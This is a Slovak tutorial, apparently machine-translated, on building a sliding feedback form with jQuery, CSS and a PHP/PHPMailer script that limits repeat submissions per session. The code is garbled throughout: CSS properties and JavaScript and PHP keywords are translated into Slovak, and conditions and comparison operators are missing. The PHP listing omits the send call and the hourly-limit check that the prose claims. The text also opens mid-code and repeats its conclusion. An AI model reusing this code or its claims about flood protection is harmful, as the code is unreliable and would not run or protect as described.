"Nový list z formulára spätnej väzby"; $ mail-> MsgHTML ($ msg); $ mail-> AddReplyTo (" [e-mail chránený]". $ _ SERVER [" HTTP_HOST "]," Formulár spätnej väzby na stránke ukážky "); $ mail-> SetFrom (" [e-mail chránený]". $ _ SERVER [" HTTP_HOST "]," Formulár spätnej väzby na stránke s ukážkou "); $ mail-> Odoslať (); echo" Ďakujeme! ";

Najprv používame správu relácií, aby sme určili, ako často používateľ použil odoslanie formulára za poslednú hodinu, a tiež určíme čas od posledného odoslania. Ak od posledného odoslania uplynulo menej ako 10 sekúnd alebo používateľ za poslednú hodinu už odoslal viac ako 10 správ, zobrazí sa chybové hlásenie.

E-mail sa odosiela pomocou triedy PHPMailer. Pozor! Funguje iba s PHP5.

Viaceré metódy PHPMailer slúži na konfiguráciu odchádzajúceho e-mailu. Metóda IsMail () povie triede, aby použila internú funkciu PHP mail ()... Metóda PridaťAdresu () pridá adresu príjemcu (k tejto metóde môžete pridať viac príjemcov pomocou ďalších hovorov). Po doplnení predmetu listu a textu sa uvedie adresa pre odpovede a správa sa odošle.

Pripravený!

Záver

Tento formulár môžete použiť na usporiadanie rýchlej spätnej väzby od návštevníka vášho webu. Veľmi nízka bariéra pred odoslaním – stačí vyplniť textové pole a kliknúť na tlačidlo – vytvorí skvelé prostredie pre návštevníkov vašich stránok, aby mohli začať zdieľať svoje nápady. Skript je tiež dobre štruktúrovaný a ľahko sa prispôsobuje, čo vám pomôže použiť ho na vašom webe s minimálnym úsilím.

Pri spustení nového webového projektu nie je nič príjemnejšie, ako okamžite získať pozitívnu spätnú väzbu a vďačnosť od prvých návštevníkov. Žiaľ, majitelia mnohých webových stránok túto skutočnosť strácajú zo zreteľa a je pomerne ťažké kontaktovať administratívu na ich stránke.

Dnes vám povieme o jednoduchom riešení problému. Tento formulár, využívajúci jQuery, PHP a PHPMailer, vám umožní prijímať spätnú väzbu od návštevníkov priamo do vašej schránky.

Html

Začnime s označením HTML. Šablóna štýlov sa nachádza na začiatku dokumentu a zdroje javascriptu sú na konci. To zlepšuje výkon, pretože skripty sa načítavajú ako posledné, zatiaľ čo zvyšok webovej stránky je už načítaný a zobrazený.

: feedback.html


Formulár rýchlej spätnej väzby s PHP a jQuery | Ukážka tutoriálu


V tele dokumentu vidíme „#feedback“ DIV. Je upevnený v umiestnení do pravého dolného rohu okna, čo môžete vidieť v ďalšej časti článku.

Vnútri je 5 farebných polí. Majú šírku 20 % každého dokumentu a sú zarovnané doľava. Takto vyplnia celú šírku #feedback DIV.

Nakoniec kontajner .section, ktorý obsahuje nadpis a hlavičku, obsahuje tlačidlo a pole na zadávanie textu.


CSS

Keď prejdeme k úprave štýlov formulára, najprv si musíme povedať niečo o štruktúre šablóny so štýlmi. Ako môžete vidieť z definícií CSS nižšie, každé pravidlo začína #spätnou väzbou. Týmto spôsobom dosiahneme CSS ekvivalent menných priestorov, čo uľahčuje pridávanie kódu na existujúcu stránku a pomáha predchádzať potenciálnym konfliktom.

: styles.css - 1. časť

#spätná väzba (
farba pozadia: # 9db09f;
šírka: 310px;
výška: 330px;
poloha: pevná;
spodná časť: 0;
vpravo: 120px;
margin-bottom: -270px;
z-index: 10000;
}

#feedback .section (
pozadie: url ("img / bg.png") repeat-x vľavo hore;
orámovanie: 1px plné # 808f81;
okraj-dole: žiadne;
padding: 10px 25px 25px;
}

#feedback .color (
plavák: vľavo;
výška: 4px;
šírka: 20 %;
prepad: skrytý;
}

#feedback .color-1 (farba pozadia: # d3b112;)
#feedback .color-2 (farba pozadia: # 12b6d3;)
#feedback .color-3 (farba pozadia: # 8fd317;)
#feedback .color-4 (farba pozadia: # ca57df;)
#feedback .color-5 (farba pozadia: # 8ecbe7;)

#feedback h6 (
pozadie: url ("img / feedback.png") bez opakovania;
výška: 38px;
okraj: 5px 0 12px;
zarážka textu: -99999px;
kurzor: ukazovateľ;
}

#feedback textarea (
farba pozadia: #fff;
hranica: žiadna;
farba: # 666666;
písmo: 13px "Lucida Sans", Arial, bezpätkové;
výška: 100px;
výplň: 10px;
šírka: 236px;

Moz-box-shadow: 4px 4px 0 # 8a9b8c;
-webkit-box-shadow: 4px 4px 0 # 8a9b8c;
box-shadow: 4px 4px 0 # 8a9b8c;
}
Prvým prvkom, ktorý musíme naformátovať, je DIV #feedback. Má pevnú polohu a je obmedzený na okno prehliadača. Ďalej nasleduje definícia DIV'a.section a päť farebných rozsahov. Tieto rozpätia sa líšia iba farbou pozadia špecifikovanou rôznymi triedami.

Na úplný koniec tu máme pravidlá CSS, ktoré určujú vzhľad poľa na zadávanie textu.

: styles.css - 2. časť

#feedback a.submit (
pozadie: url ("img / submit.png") bez opakovania;
hranica: žiadna;
displej: blok;
výška: 34px;
okraj: 20px auto 0;
text-dekorácia: žiadna;
zarážka textu: -99999px;
šírka: 91px;
}

#feedback a.submit: podržte kurzor myši (
pozadie-pozícia: vľavo dole;
}

#feedback a.submit.working (
pozícia na pozadí: vpravo hore! dôležité;
kurzor: predvolený;
}

#feedback .správa (
rodina písiem: Corbel, Arial, bezpätkové;
farba: # 5a665b;
text-shadow: 1px 1px 0 # b3c2b5;
margin-bottom: 20px;
}

#feedback .šípka (
pozadie: url ("img / arrows.png") bez opakovania;
plavák: pravý;
šírka: 23px;
výška: 18px;
poloha: relatívna;
hore: 10px;
}

#feedback .arrow.down (pozícia na pozadí: vľavo hore;)
#feedback h6: podržte kurzor myši .dole (pozícia na pozadí: vľavo dole;)
#feedback .arrow.up (pozícia na pozadí: vpravo hore;)
#feedback h6: umiestnite kurzor myši nahor (pozícia na pozadí: vpravo dole;)

#feedback .response (
veľkosť písma: 21px;
margin-top: 70px;
text-align: center;
text-shadow: 2px 2px 0 # 889889;
farba: #FCFCFC;
}
V druhej časti šablóny štýlov môžete vidieť definíciu tlačidla odoslať (odoslať). Všimnite si, že tlačidlo má tri pozície, ktoré sú ukotvené k rovnakému obrázku na pozadí, submit.png, a zobrazuje sa iba v prípade potreby. Pozície: štandardná pozícia, pozícia nad myšou a aktívna „bežiaca“ pozícia. Keď je tlačidlo v pracovnej polohe, efekt prejdenia myšou je deaktivovaný.


jQuery

Formulár spätnej väzby má dve ustanovenia: skryté a zverejnené. Pri načítaní je jeho poloha štandardne nastavená na skryté. Keď však používateľ klikne na názov, rozbalí sa prostredníctvom jQuery. To sa dosiahne monitorovaním udalostí a spustením jednoduchej animácie, ako môžete jasne vidieť nižšie.

: script.js – 1. časť

$ (dokument) .ready (funkcia () (

// Relatívna adresa URL skriptu submit.php.
// Pravdepodobne to budete musieť zmeniť.
var submitURL = "submit.php";

// Ukladanie objektu spätnej väzby do vyrovnávacej pamäte:
var spätná väzba = $ ("# spätná väzba");

$ ("# spätná väzba h6"). kliknite (funkcia () (

// Ukladáme hodnoty animovaného
// vlastnosti v samostatnom objekte:

Var el = $ (toto) .nájsť (. Šípka");

Ak (el.hasClass ("dole")) (
anim = (
mb: -270,
bod: 10
};
}

// Prvá animácia posúva formulár nahor alebo nadol a druhá animácia
// presunie nadpis "Spätná väzba", takže sa zmestí do minimalizovanej verzie

Feedback.stop (). Animovať ((marginBottom: anim.mb));

Feedback.find (. Section"). Zastaviť (). Animovať ((paddingTop: anim.pt), function () (
el.toggleClass ("dole hore");
});
});
Aby bol náš kód prehľadný, presunuli sme pozície if do hornej časti dokumentu a vytvorili sme objekt anim, ktorý obsahuje hodnoty animácie. V závislosti od toho, či je na šípke trieda "dole", formulár skryjeme alebo odkryjeme.

Druhá časť script.js obsahuje štruktúru pre interakciu AJAX s submit.php.

: script.js – 2. časť

$ ("# feedback a.submit"). live ("click", funkcia () (
tlačidlo var = $ (toto);
var textarea = feedback.find ("textarea");

// Pracovnú triedu používame nielen na štýlovanie tlačidla Odoslať,
// ale aj ako akýsi "zámok" na zabránenie viacnásobnému odoslaniu.

If (button.hasClass ("pracovné") || textarea.val (). Dĺžka return false;
}

// Uzamknutie formulára a zmena štýlu tlačidla:
button.addClass ("pracovné");

$ .ajax ((
url: submitURL,
typ: "príspevok",
údaje: (správa: textarea.val ()),
kompletné: funkcia (xhr) (

Var text = xhr.responseText;

// Toto pomôže používateľom pri riešení problémov s formulárom:
if (xhr.status == 404) (
text = "Vaša cesta k odovzdaniu.php je nesprávna.";
}

// Skrytie tlačidla a textovej oblasti, po ktorom
// zobrazujeme prijatú odpoveď z submit.php

Button.fadeOut ();

Textarea.fadeOut (funkcia () (
var span = $ (" ",{
className: "response",
html: text
})
.skryť ()
.appendTo (feedback.find (. sekcia))
.šou ();
)).val ("");
}
});

Návrat false;
});
});
Tu používame nízkoúrovňovú metódu AJAX jQuery, $ .ajax (), ktorá implementuje interakciu s submit.php. Táto metóda nám dáva trochu väčšiu kontrolu nad pripojením ako $ .get () alebo $ .post ().

Veľkou výhodou tejto metódy je „úplné“ postback. Tu definujeme zhodu medzi odpoveďou a chybou 404, ktorá používateľovi zdvorilo povie, aby skontroloval cestu k adrese submitURL.

Teraz poďme ďalej a prejdime k záverečnej časti tutoriálu - sekcii PHP

PHP

PHP obsahuje informácie prenesené cez AJAX, spracuje ich a odošle správu do vašej doručenej pošty.

: odoslať.php

// Nižšie zadajte svoju e-mailovú adresu
$ emailAddress = " [e-mail chránený]";

// Použitie relácie na zabránenie zaplaveniu:

názov_relácie ("rýchla spätná väzba");
session_start ();

// Ak bol formulár odoslaný pred menej ako 10 sekundami,
// alebo používateľ už odoslal 10 správ za poslednú hodinu

if ($ _ SESSION ["lastSubmit"] && (čas () - $ _SESSION ["lastSubmit"] 10)) (
zomrieť ("Prosím, počkajte niekoľko minút pred opätovným odoslaním.");
}

$ _SESSION ["lastSubmit"] = čas ();
$ _SESSION ["submitsLastHour"] ++;

vyžadovať "phpmailer / class.phpmailer.php";

if (ini_get ("magic_quotes_gpc")) (
// Ak sú povolené magické úvodzovky, odstráňte ich
$ _POST ["správa"] = lomítka ($ _ POST ["správa"]);
}

if (mb_strlen ($ _ POST ["správa"], "utf-8") zomrieť ("Telo spätnej väzby je príliš krátke.");
}

$ msg = nl2br (strip_tags ($ _ POST ["správa"]));

// Použitie triedy PHPMailer

$ mail = nový PHPMailer ();
$ mail-> IsMail ();

// Pridanie e-mailovej adresy príjemcu
$ mail-> AddAddress ($ emailAddress);

$ mail-> Predmet = "Odoslanie nového formulára rýchlej spätnej väzby";
$ mail-> MsgHTML ($ msg);

$ mail-> AddReplyTo (" [e-mail chránený]". $ _ SERVER [" HTTP_HOST "]," Formulár rýchlej spätnej väzby ");
$ mail-> SetFrom (" [e-mail chránený]". $ _ SERVER [" HTTP_HOST "]," Formulár rýchlej spätnej väzby ");

echo "Ďakujem!";
Najprv použijeme správu relácie PHP na výpočet toho, koľkokrát používateľ použil formulár za poslednú hodinu. Ak sa používateľ pokúsi odoslať správu menej ako 10 sekúnd po odoslaní poslednej správy, alebo odošle viac ako 10 správ do hodiny, zobrazí sa mu chyba.

Správy sa odosielajú pomocou triedy PHPMailer. Funguje iba s PHP5, takže server musí podporovať túto konkrétnu verziu.

Na konfiguráciu odchádzajúcej pošty sa používa množstvo metód PHPMailer. Používame IsMail (), aby sme triede povedali, aby použila internú funkciu PHP mail (). AddAddress () pridá príjemcov (môžete tam pridať viac príjemcov). Po pridaní objektu do tela dokumentu uvedieme adresu odpovede a odošleme správu.

Týmto je vývoj ukončený!

Na záver

Tento formulár môžete použiť na získanie spätnej väzby od návštevníkov. Pomocou tohto formulára výrazne uľahčujete proces písania recenzií pre používateľov a mnohí používatelia jednoducho nenapíšu recenziu, ak na to musíte stále niekam klikať a niekam ísť. Formulár si tiež môžete jednoducho prispôsobiť podľa svojich predstáv alebo zo šablóny webovej stránky.